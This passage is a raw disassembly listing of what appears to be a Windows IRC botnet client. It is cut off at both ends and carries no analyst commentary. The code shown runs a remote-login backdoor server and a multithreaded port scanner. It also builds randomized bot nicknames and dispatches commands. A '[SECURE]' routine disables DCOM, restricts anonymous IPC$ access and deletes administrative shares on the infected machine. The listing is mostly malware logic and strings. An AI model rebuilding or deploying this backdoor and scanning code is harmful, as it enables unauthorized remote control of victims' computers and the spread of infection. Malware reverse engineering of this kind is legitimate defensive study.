cl, dl cmp dl, [esi] jnz short loc_40DFE7 test cl, cl jz short loc_40DFE3 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_40DFE7 inc eax inc eax inc esi inc esi test cl, cl jnz short loc_40DFC5 loc_40DFE3: ; CODE XREF: sub_40DFC0+Fj xor eax, eax jmp short loc_40DFEC ; --------------------------------------------------------------------------- loc_40DFE7: ; CODE XREF: sub_40DFC0+Bj ; sub_40DFC0+19j sbb eax, eax sbb eax, 0FFFFFFFFh loc_40DFEC: ; CODE XREF: sub_40DFC0+25j test eax, eax pop esi jz short loc_40E009 push [esp+arg_4] push [esp+4+arg_0] push offset aRlogindLoginRe ; "[RLOGIND]: Login rejected, Remote user:"... call sub_401CA7 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_40E009: ; CODE XREF: sub_40DFC0+2Fj xor eax, eax inc eax retn sub_40DFC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40E00D proc near ; DATA XREF: sub_40E219+19Fo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 3D4h mov eax, [ebp+74h+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+74h+var_3D4] rep movsd mov esi, [ebp+74h+var_208] mov [ebp+74h+arg_0], esi imul esi, 234h xor edi, edi inc edi mov [eax+1DCh], edi mov eax, dword_434344[esi] mov [ebp+74h+var_1F0], eax xor ebx, ebx lea eax, [ebp+74h+var_C] push eax push ebx push ebx lea eax, [ebp+74h+var_1F4] push eax push ebx mov [ebp+74h+var_C], 1Eh mov [ebp+74h+var_8], ebx mov [ebp+74h+var_1F4], edi call dword_433544 test eax, eax jnz short loc_40E096 push dword_434344[esi] call dword_4335AC push [ebp+74h+var_208] loc_40E08B: ; CODE XREF: sub_40E00D+1A2j call sub_4111AE pop ecx jmp loc_40E211 ; --------------------------------------------------------------------------- loc_40E096: ; CODE XREF: sub_40E00D+6Aj push ebx push edi lea eax, [ebp+74h+var_3C] push eax push dword_434344[esi] call dword_433414 push 10h push dword_434344[esi] lea eax, [ebp+74h+var_2C] call sub_40DF75 push 10h push dword_434344[esi] lea eax, [ebp+74h+var_4C] call sub_40DF75 push 40h push dword_434344[esi] lea eax, [ebp+74h+var_F0] call sub_40DF75 add esp, 18h lea eax, [ebp+74h+var_4] push eax lea eax, [ebp+74h+var_1C] push eax push dword_434344[esi] mov [ebp+74h+var_4], 10h call dword_4334E0 test eax, eax jz short loc_40E11E call dword_433558 push eax push offset aRlogindErrorGe ; "[RLOGIND]: Error: getpeername(): <%d>." call sub_401CA7 push [ebp+74h+var_208] call sub_4111AE add esp, 0Ch jmp loc_40E211 ; --------------------------------------------------------------------------- loc_40E11E: ; CODE XREF: sub_40E00D+EBj push 2 push 4 lea eax, [ebp+74h+var_18] push eax call dword_433590 cmp eax, ebx jnz short loc_40E147 push [ebp+74h+var_18] call dword_433520 push eax lea eax, [ebp+74h+var_B0] push eax call sub_412BB5 pop ecx pop ecx jmp short loc_40E156 ; --------------------------------------------------------------------------- loc_40E147: ; CODE XREF: sub_40E00D+121j mov ecx, [eax] lea edx, [ebp+74h+var_B0] loc_40E14C: ; CODE XREF: sub_40E00D+147j mov al, [ecx] inc ecx mov [edx], al inc edx cmp al, bl jnz short loc_40E14C loc_40E156: ; CODE XREF: sub_40E00D+138j push ebx push edi push 41FA76h push dword_434344[esi] call dword_433534 cmp dword_479C0C, ebx jnz short loc_40E1B4 push [ebp+74h+var_18] lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax lea eax, [ebp+74h+var_350] call sub_40DFC0 add esp, 0Ch test eax, eax jnz short loc_40E1B4 push ebx push 13h push offset aPermissionDeni ; "Permission denied\n" lea esi, dword_434344[esi] push dword ptr [esi] call dword_433534 push dword ptr [esi] call dword_4335AC push [ebp+74h+arg_0] jmp loc_40E08B ; --------------------------------------------------------------------------- loc_40E1B4: ; CODE XREF: sub_40E00D+162j ; sub_40E00D+17Fj lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserLog ; "[RLOGIND]: User logged in: <%s@%s>." call sub_401CA7 push [ebp+74h+arg_0] call sub_40F3F5 add esp, 10h test eax, eax jnz short loc_40E1F4 call ds:dword_41F008 push eax push offset aRlogindErrorSe ; "[RLOGIND]: Error: SessionRun(): <%d>." call sub_401CA7 push [ebp+74h+arg_0] call sub_4111AE add esp, 0Ch push edi jmp short loc_40E212 ; --------------------------------------------------------------------------- loc_40E1F4: ; CODE XREF: sub_40E00D+1C6j lea eax, [ebp+74h+var_B0] push eax lea eax, [ebp+74h+var_2C] push eax push offset aRlogindUserL_0 ; "[RLOGIND]: User logged out: <%s@%s>." call sub_401CA7 push [ebp+74h+arg_0] call sub_4111AE add esp, 10h loc_40E211: ; CODE XREF: sub_40E00D+84j ; sub_40E00D+10Cj push ebx loc_40E212: ; CODE XREF: sub_40E00D+1E5j call ds:dword_41F014 int 3 ; Trap to Debugger sub_40E00D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E219 proc near ; DATA XREF: sub_4078FA+40DBo var_5A8 = byte ptr -5A8h var_418 = byte ptr -418h var_218 = dword ptr -218h var_214 = byte ptr -214h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A8h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_218] rep movsd xor esi, esi inc esi mov [eax+1DCh], esi lea eax, [ebp+var_5A8] push eax push 202h call dword_4334B0 xor ebx, ebx cmp eax, ebx jz short loc_40E272 push eax push offset aRlogindErrorWs ; "[RLOGIND]: Error: WSAStartup(): <%d>." call sub_401CA7 push [ebp+var_50] call sub_4111AE add esp, 0Ch loc_40E26C: ; CODE XREF: sub_40E219+8Bj push esi jmp loc_40E48E ; --------------------------------------------------------------------------- loc_40E272: ; CODE XREF: sub_40E219+3Bj push esi push offset sub_40DFB6 call ds:dword_41F0F0 test eax, eax jnz short loc_40E2A6 call ds:dword_41F008 push eax push offset aRlogindFaile_0 ; "[RLOGIND]: Failed to install control-C "... call sub_401CA7 pop ecx pop ecx call dword_4335B8 push [ebp+var_50] call sub_4111AE pop ecx jmp short loc_40E26C ; --------------------------------------------------------------------------- loc_40E2A6: ; CODE XREF: sub_40E219+67j push [ebp+var_54] xor eax, eax lea edi, [ebp+var_24] stosd stosd stosd stosd mov [ebp+var_24], 2 call dword_4335EC push 6 push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4334A0 cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz loc_40E41E mov ecx, [ebp+var_50] imul ecx, 234h push 10h pop edi mov dword_434344[ecx], eax push edi lea ecx, [ebp+var_24] push ecx push eax call dword_433578 test eax, eax jnz loc_40E41E push 7FFFFFFFh push [ebp+arg_0] call dword_4335C0 test eax, eax jnz loc_40E41E push offset aRlogindReadyAn ; "[RLOGIND]: Ready and waiting for incomi"... mov [ebp+var_14], 0Ch mov [ebp+var_10], ebx mov [ebp+var_C], ebx call sub_401C33 pop ecx mov [ebp+var_8], esi jmp loc_40E3FD ; --------------------------------------------------------------------------- loc_40E338: ; CODE XREF: sub_40E219+1FDj push [ebp+var_8] lea eax, [ebp+var_8] push eax push 8 push 0FFFFh push esi call dword_4334BC cmp eax, 0FFFFFFFFh jz loc_40E3FD push [ebp+var_50] movzx eax, [ebp+var_32] push eax push [ebp+var_30] mov [ebp+var_3C], ebx call dword_433520 push eax lea eax, [ebp+var_418] push offset aRlogindClientC ; "[RLOGIND]: Client connection from IP: %"... push eax call sub_412BB5 lea eax, [ebp+var_418] push eax call sub_401C33 push esi lea eax, [ebp+var_418] push 7 push eax call sub_410EEA mov ecx, [ebp+var_50] mov [ebp+var_4C], eax imul eax, 234h add esp, 24h mov dword_43433C[eax], ecx lea eax, [ebp+var_38] push eax push ebx lea eax, [ebp+var_218] push eax push offset sub_40E00D push ebx lea eax, [ebp+var_14] push eax call ds:dword_41F00C mov ecx, [ebp+var_4C] imul ecx, 234h cmp eax, ebx mov dword_43434C[ecx], eax jnz short loc_40E3F8 call ds:dword_41F008 push eax push offset aRlogindFaile_1 ; "[RLOGIND]: Failed to start client threa"... call sub_401CA7 pop ecx pop ecx jmp short loc_40E421 ; --------------------------------------------------------------------------- loc_40E3F0: ; CODE XREF: sub_40E219+1E2j push 32h call ds:dword_41F000 loc_40E3F8: ; CODE XREF: sub_40E219+1C0j cmp [ebp+var_3C], ebx jz short loc_40E3F0 loc_40E3FD: ; CODE XREF: sub_40E219+11Aj ; sub_40E219+137j lea eax, [ebp+var_4] push eax lea eax, [ebp+var_34] push eax push [ebp+arg_0] mov [ebp+var_4], edi call dword_433464 mov esi, eax cmp esi, 0FFFFFFFFh jnz loc_40E338 jmp short loc_40E421 ; --------------------------------------------------------------------------- loc_40E41E: ; CODE XREF: sub_40E219+BDj ; sub_40E219+E3j ... mov esi, [ebp+arg_0] loc_40E421: ; CODE XREF: sub_40E219+1D5j ; sub_40E219+203j call dword_433558 push eax lea eax, [ebp+var_418] push offset aRlogindError_0 ; "[RLOGIND]: Error: server failed, return"... push eax call sub_412BB5 add esp, 0Ch cmp [ebp+var_40], ebx jnz short loc_40E461 push ebx push [ebp+var_44] lea eax, [ebp+var_418] push eax lea eax, [ebp+var_214] push eax push [ebp+var_218] call sub_4045DD add esp, 14h loc_40E461: ; CODE XREF: sub_40E219+226j lea eax, [ebp+var_418] push eax call sub_401C33 pop ecx push esi call dword_4335AC push [ebp+arg_0] call dword_4335AC call dword_4335B8 push [ebp+var_50] call sub_4111AE pop ecx push ebx loc_40E48E: ; CODE XREF: sub_40E219+54j call ds:dword_41F014 int 3 ; Trap to Debugger sub_40E219 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40E495 proc near ; CODE XREF: sub_40E7B0+6Cp ; DATA XREF: .data:off_42B298o var_C = dword ptr -0Ch arg_0 = dword ptr 4 push esi push edi call ds:dword_41F004 push eax call sub_412D64 mov edi, [esp+0Ch+arg_0] mov [esp+0Ch+var_C], offset aSoul ; "[SOUL]" push offset aS_1 ; "%s" push 1Ch push edi call sub_412E0D xor esi, esi add esp, 10h cmp dword_42AE60, esi jle short loc_40E4EE loc_40E4C8: ; CODE XREF: sub_40E495+57j call sub_412D71 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_412E0D add esp, 14h inc esi cmp esi, dword_42AE60 jl short loc_40E4C8 loc_40E4EE: ; CODE XREF: sub_40E495+31j mov eax, edi pop edi pop esi retn sub_40E495 endp ; =============== S U B R O U T I N E ======================================= sub_40E4F3 proc near ; CODE XREF: sub_4078FA+2C3Bp arg_0 = dword ptr 4 push ebx push esi push edi call ds:dword_41F004 push eax call sub_412D64 pop ecx call sub_412D71 push 3 cdq pop ecx idiv ecx mov ebx, [esp+0Ch+arg_0] xor edi, edi mov esi, edx add esi, dword_42AE60 test esi, esi jle short loc_40E536 loc_40E520: ; CODE XREF: sub_40E4F3+41j call sub_412D71 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40E520 loc_40E536: ; CODE XREF: sub_40E4F3+2Bj and byte ptr [edi+ebx], 0 pop edi pop esi mov eax, ebx pop ebx retn sub_40E4F3 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push esi push edi mov dword ptr [ebp-4], 100h call ds:dword_41F004 push eax call sub_412D64 pop ecx lea eax, [ebp-4] push eax mov esi, offset aPc ; "PC" push esi call ds:dword_41F0B0 mov edi, [ebp+8] push esi push 1Ch push edi call sub_412E0D xor esi, esi add esp, 0Ch cmp dword_42AE60, esi jle short loc_40E5A9 loc_40E583: ; CODE XREF: .text:0040E5A7j call sub_412D71 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_412E0D add esp, 14h inc esi cmp esi, dword_42AE60 jl short loc_40E583 loc_40E5A9: ; CODE XREF: .text:0040E581j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi call ds:dword_41F004 push eax call sub_412D64 pop ecx push 0Ah lea eax, [ebp-0Ch] push eax push 7 push 800h call ds:dword_41F0F4 mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset aS_1 ; "%s" push 1Ch push edi call sub_412E0D xor esi, esi add esp, 10h cmp dword_42AE60, esi jle short loc_40E61E loc_40E5F8: ; CODE XREF: .text:0040E61Cj call sub_412D71 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_412E0D add esp, 14h inc esi cmp esi, dword_42AE60 jl short loc_40E5F8 loc_40E61E: ; CODE XREF: .text:0040E5F6j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp lea ebp, [esp-74h] sub esp, 94h push esi push edi lea eax, [ebp-20h] push eax mov esi, 41FA76h mov dword ptr [ebp-20h], 94h call ds:dword_41F0F8 call ds:dword_41F004 push eax call sub_412D64 cmp dword ptr [ebp-1Ch], 4 pop ecx jnz short loc_40E692 cmp dword ptr [ebp-18h], 0 jnz short loc_40E678 cmp dword ptr [ebp-10h], 1 jnz short loc_40E66B mov esi, offset a95 ; "95" loc_40E66B: ; CODE XREF: .text:0040E664j cmp dword ptr [ebp-10h], 2 jnz short loc_40E6C2 mov esi, offset aNt ; "NT" jmp short loc_40E6C2 ; --------------------------------------------------------------------------- loc_40E678: ; CODE XREF: .text:0040E65Ej cmp dword ptr [ebp-18h], 0Ah jnz short loc_40E685 mov esi, offset a98 ; "98" jmp short loc_40E6C2 ; --------------------------------------------------------------------------- loc_40E685: ; CODE XREF: .text:0040E67Cj cmp dword ptr [ebp-18h], 5Ah jnz short loc_40E6BD mov esi, offset aMe_0 ; "ME" jmp short loc_40E6C2 ; --------------------------------------------------------------------------- loc_40E692: ; CODE XREF: .text:0040E658j cmp dword ptr [ebp-1Ch], 5 jnz short loc_40E6BD cmp dword ptr [ebp-18h], 0 jnz short loc_40E6A5 mov esi, offset a2k ; "2K" jmp short loc_40E6C2 ; --------------------------------------------------------------------------- loc_40E6A5: ; CODE XREF: .text:0040E69Cj cmp dword ptr [ebp-18h], 1 jnz short loc_40E6B2 mov esi, offset aXp_0 ; "XP" jmp short loc_40E6C2 ; --------------------------------------------------------------------------- loc_40E6B2: ; CODE XREF: .text:0040E6A9j cmp dword ptr [ebp-18h], 2 mov esi, offset a2k3 ; "2K3" jz short loc_40E6C2 loc_40E6BD: ; CODE XREF: .text:0040E689j ; .text:0040E696j mov esi, offset a??? ; "???" loc_40E6C2: ; CODE XREF: .text:0040E66Fj ; .text:0040E676j ... mov edi, [ebp+7Ch] push esi push offset aS_5 ; "[%s]" push 1Ch push edi call sub_412E0D xor esi, esi add esp, 10h cmp dword_42AE60, esi jle short loc_40E706 loc_40E6E0: ; CODE XREF: .text:0040E704j call sub_412D71 push 0Ah pop ecx cdq idiv ecx push edx push edi push offset aSI ; "%s%i" push 1Ch push edi call sub_412E0D add esp, 14h inc esi cmp esi, dword_42AE60 jl short loc_40E6E0 loc_40E706: ; CODE XREF: .text:0040E6DEj mov eax, edi pop edi pop esi add ebp, 74h leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E70F proc near ; CODE XREF: sub_40E7B0+80p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call ds:dword_41F004 xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax call dword_4334F8 test esi, esi jbe short loc_40E75D test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40E746 mov eax, 41FA76h loc_40E746: ; CODE XREF: sub_40E70F+30j push eax push esi push offset aDS ; "[%d]%s" lea eax, [ebp+var_1C] push 1Ch push eax call sub_412E0D add esp, 14h jmp short loc_40E777 ; --------------------------------------------------------------------------- loc_40E75D: ; CODE XREF: sub_40E70F+27j test eax, eax mov eax, offset aM_0 ; "[M]" jnz short loc_40E76B mov eax, 41FA76h loc_40E76B: ; CODE XREF: sub_40E70F+55j push eax lea eax, [ebp+var_1C] push eax call sub_412BB5 pop ecx pop ecx loc_40E777: ; CODE XREF: sub_40E70F+4Cj lea eax, [ebp+var_1C] lea edx, [eax+1] pop esi loc_40E77E: ; CODE XREF: sub_40E70F+74j mov cl, [eax] inc eax test cl, cl jnz short loc_40E77E sub eax, edx cmp eax, 2 jbe short loc_40E7AB push 1Ch push [ebp+arg_0] lea eax, [ebp+var_1C] push eax call sub_412A80 push 1Ch lea eax, [ebp+var_1C] push eax push [ebp+arg_0] call sub_412C40 add esp, 18h loc_40E7AB: ; CODE XREF: sub_40E70F+7Bj mov eax, [ebp+arg_0] leave retn sub_40E70F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E7B0 proc near ; CODE XREF: sub_40751F+53p ; sub_40779B+45p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ebx push esi push edi xor edx, edx xor edi, edi loc_40E7BA: ; CODE XREF: sub_40E7B0+62j mov esi, [ebp+arg_C] test esi, esi jz short loc_40E7F9 lea eax, dword_42B288[edi] loc_40E7C7: ; CODE XREF: sub_40E7B0+33j mov bl, [esi] mov cl, bl cmp bl, [eax] jnz short loc_40E7E9 test cl, cl jz short loc_40E7E5 mov bl, [esi+1] mov cl, bl cmp bl, [eax+1] jnz short loc_40E7E9 inc esi inc esi inc eax inc eax test cl, cl jnz short loc_40E7C7 loc_40E7E5: ; CODE XREF: sub_40E7B0+21j xor eax, eax jmp short loc_40E7EE ; --------------------------------------------------------------------------- loc_40E7E9: ; CODE XREF: sub_40E7B0+1Dj ; sub_40E7B0+2Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_40E7EE: ; CODE XREF: sub_40E7B0+37j xor ecx, ecx test eax, eax setz cl mov eax, ecx jmp short loc_40E807 ; --------------------------------------------------------------------------- loc_40E7F9: ; CODE XREF: sub_40E7B0+Fj mov ecx, dword_42B294[edi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40E807: ; CODE XREF: sub_40E7B0+47j test eax, eax jnz short loc_40E816 add edi, 14h inc edx cmp edi, 64h jb short loc_40E7BA jmp short loc_40E824 ; --------------------------------------------------------------------------- loc_40E816: ; CODE XREF: sub_40E7B0+59j push [ebp+arg_0] lea eax, [edx+edx*4] call off_42B298[eax*4] pop ecx loc_40E824: ; CODE XREF: sub_40E7B0+64j cmp [ebp+arg_8], 0 pop edi pop esi pop ebx jz short loc_40E838 push [ebp+arg_0] call sub_40E70F pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40E838: ; CODE XREF: sub_40E7B0+7Bj mov eax, [ebp+arg_0] pop ebp retn sub_40E7B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=74h sub_40E83D proc near ; DATA XREF: sub_40E8FF+77o var_B8 = dword ptr -0B8h var_B4 = byte ptr -0B4h var_34 = dword ptr -34h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 0B8h mov eax, [ebp+74h+arg_0] push esi push edi mov esi, eax push 2Ah pop ecx lea edi, [ebp+74h+var_B8] rep movsd push [ebp+74h+var_34] xor esi, esi inc esi mov [eax+0A4h], esi xor eax, eax lea edi, [ebp+74h+var_10] stosd stosd stosd stosd mov [ebp+74h+var_10], 2 call dword_4335EC push 6 mov [ebp+74h+var_E], ax mov eax, [ebp+74h+var_28] push esi push 2 mov [ebp+74h+var_C], eax call dword_4334A0 mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40E8ED push 10h lea eax, [ebp+74h+var_10] push eax push esi call dword_433458 mov ecx, [ebp+74h+var_2C] imul ecx, 234h cmp eax, 0FFFFFFFFh mov dword_434344[ecx], esi jz short loc_40E8ED push [ebp+74h+var_34] push [ebp+74h+var_28] call dword_433520 push eax push offset aScanIpSPortD_0 ; "[SCAN]: IP: %s Port: %d is open." mov edi, offset dword_479C18 push edi call sub_412BB5 push 0 push [ebp+74h+var_20] lea eax, [ebp+74h+var_B4] push edi push eax push [ebp+74h+var_B8] call sub_4045DD push edi call sub_401C33 add esp, 28h loc_40E8ED: ; CODE XREF: sub_40E83D+55j ; sub_40E83D+76j push esi call dword_4335AC pop edi xor eax, eax pop esi add ebp, 74h leave retn 4 sub_40E83D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame fpd=74h sub_40E8FF proc near ; DATA XREF: sub_4078FA+25BAo var_12C = byte ptr -12Ch var_AC = byte ptr -0ACh var_28 = dword ptr -28h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp lea ebp, [esp-74h] sub esp, 12Ch push ebx mov ebx, [ebp+74h+arg_0] push esi push edi push 2Ah pop ecx mov esi, ebx lea edi, [ebp+74h+var_AC] rep movsd mov esi, ds:dword_41F000 mov dword ptr [ebx+0A0h], 1 xor edi, edi loc_40E92C: ; CODE XREF: sub_40E8FF+C1j push [ebp+74h+var_28] push [ebp+74h+var_1C] call dword_433520 push eax lea eax, [ebp+74h+var_12C] push offset aScanScanningIp ; "[SCAN]: Scanning IP: %s, Port: %d." push eax call sub_412BB5 push 1FFh lea eax, [ebp+74h+var_12C] push eax mov eax, [ebp+74h+var_20] imul eax, 234h add eax, offset dword_434138 push eax call sub_412C40 add esp, 1Ch lea eax, [ebp+74h+var_4] push eax push edi lea eax, [ebp+74h+var_AC] push eax push offset sub_40E83D push edi push edi call ds:dword_41F00C cmp eax, edi mov [ebp+74h+arg_0], eax jz short loc_40E995 jmp short loc_40E990 ; --------------------------------------------------------------------------- loc_40E98C: ; CODE XREF: sub_40E8FF+94j push 32h call esi loc_40E990: ; CODE XREF: sub_40E8FF+8Bj cmp [ebp+74h+var_8], edi jz short loc_40E98C loc_40E995: ; CODE XREF: sub_40E8FF+89j push [ebp+74h+arg_0] call ds:dword_41F034 push dword ptr [ebx+88h] mov [ebx+0A4h], edi call esi push [ebp+74h+var_1C] call dword_433570 inc eax push eax call dword_4335C4 mov [ebp+74h+var_1C], eax jmp loc_40E92C sub_40E8FF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40E9C5 proc near ; CODE XREF: sub_40F005+8p ; sub_40F023+37p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_433600, edi jnz loc_40EAF8 lea eax, [ebp+var_4] push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" mov esi, 80000002h push esi call dword_4335C8 test eax, eax jnz short loc_40EA51 lea eax, [ebp+var_8+2] mov word ptr [ebp+var_8+2], 4Eh lea edx, [eax+1] loc_40EA09: ; CODE XREF: sub_40E9C5+49j mov cl, [eax] inc eax test cl, cl jnz short loc_40EA09 sub eax, edx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_433484 test eax, eax lea eax, [ebp+var_214] jz short loc_40EA39 push offset aSecureDisableD ; "[SECURE]: Disable DCOM failed." jmp short loc_40EA3E ; --------------------------------------------------------------------------- loc_40EA39: ; CODE XREF: sub_40E9C5+6Bj push offset aSecureDcomDisa ; "[SECURE]: DCOM disabled." loc_40EA3E: ; CODE XREF: sub_40E9C5+72j push eax call sub_412BB5 pop ecx pop ecx push [ebp+var_4] call dword_43357C jmp short loc_40EA64 ; --------------------------------------------------------------------------- loc_40EA51: ; CODE XREF: sub_40E9C5+36j lea eax, [ebp+var_214] push offset aSecureFailed_0 ; "[SECURE]: Failed to open DCOM registry "... push eax call sub_412BB5 pop ecx pop ecx loc_40EA64: ; CODE XREF: sub_40E9C5+8Aj cmp [ebp+arg_C], edi jnz short loc_40EA83 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EA83: ; CODE XREF: sub_40E9C5+A2j lea eax, [ebp+var_214] push eax call sub_401C33 pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4335C8 test eax, eax jnz short loc_40EAF1 push 4 lea eax, [ebp+var_8] push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_433484 test eax, eax lea eax, [ebp+var_214] jz short loc_40EAD9 push offset aSecureFailed_1 ; "[SECURE]: Failed to restrict access to "... jmp short loc_40EADE ; --------------------------------------------------------------------------- loc_40EAD9: ; CODE XREF: sub_40E9C5+10Bj push offset aSecureRestrict ; "[SECURE]: Restricted access to the IPC$"... loc_40EADE: ; CODE XREF: sub_40E9C5+112j push eax call sub_412BB5 pop ecx pop ecx push [ebp+var_4] call dword_43357C jmp short loc_40EB0B ; --------------------------------------------------------------------------- loc_40EAF1: ; CODE XREF: sub_40E9C5+E3j push offset aSecureFailed_2 ; "[SECURE]: Failed to open IPC$ Restricti"... jmp short loc_40EAFD ; --------------------------------------------------------------------------- loc_40EAF8: ; CODE XREF: sub_40E9C5+13j push offset aSecureAdvapi32 ; "[SECURE]: Advapi32.dll couldn't be load"... loc_40EAFD: ; CODE XREF: sub_40E9C5+131j lea eax, [ebp+var_214] push eax call sub_412BB5 pop ecx pop ecx loc_40EB0B: ; CODE XREF: sub_40E9C5+12Aj cmp [ebp+arg_C], edi jnz short loc_40EB2A push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EB2A: ; CODE XREF: sub_40E9C5+149j lea eax, [ebp+var_214] push eax call sub_401C33 cmp dword_433628, edi pop ecx jnz loc_40ECA7 mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi push ebx loc_40EB4D: ; CODE XREF: sub_40E9C5+2C6j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax push 0FFFFFFFFh lea eax, [ebp+var_8] push eax push 1F6h push edi call dword_4335A0 cmp eax, edi mov [ebp+var_10], eax jz short loc_40EBEC cmp eax, 0EAh jz short loc_40EBEC xor esi, esi loc_40EB7B: ; CODE XREF: sub_40E9C5+220j push off_42B2F0[esi] push edi call sub_406032 pop ecx pop ecx push off_42B2F0[esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_40EBA0 push offset aSecureShareSDe ; "[SECURE]: Share '%s' deleted." jmp short loc_40EBA5 ; --------------------------------------------------------------------------- loc_40EBA0: ; CODE XREF: sub_40E9C5+1D2j push offset aSecureFailed_3 ; "[SECURE]: Failed to delete '%s' share." loc_40EBA5: ; CODE XREF: sub_40E9C5+1D9j push 200h push eax call sub_412E0D add esp, 10h cmp [ebp+arg_C], edi jnz short loc_40EBD2 push 1 push [ebp+arg_8] lea eax, [ebp+var_214] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_4045DD add esp, 14h loc_40EBD2: ; CODE XREF: sub_40E9C5+1F1j lea eax, [ebp+var_214] push eax call sub_401C33 add esi, 8 cmp esi, 20h pop ecx jb short loc_40EB7B jmp loc_40EC84 ; --------------------------------------------------------------------------- loc_40EBEC: ; CODE XREF: sub_40E9C5+1ABj ; sub_40E9C5+1B2j mov esi, [ebp+var_8] xor ebx, ebx inc ebx cmp [ebp+var_4], ebx jb loc_40EC7B loc_40EBFB: ; CODE XREF: sub_40E9C5+2B2j mov edi, [esi] push edi call sub_413FEE cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_40EC70 push edi call sub_405F46 push eax push 0 call sub_406032 add esp, 0Ch push dword ptr [esi] test eax, eax lea eax, [ebp+var_214] jnz short loc_40EC30 push offset aSecureShareS_0 ; "[SECURE]: Share '%S' deleted." jmp short loc_40EC35 ; --------------------------------------------------------------------------- loc_40EC30: ; CODE XREF: sub_40E9C5+262j push offset aSecureFailed_4 ; "[SECURE]: Failed to delete '%S' share." loc_40EC35: ; CODE XREF: sub_40E9C5+269j push 200h push eax call sub_412E0D add esp, 10h cmp 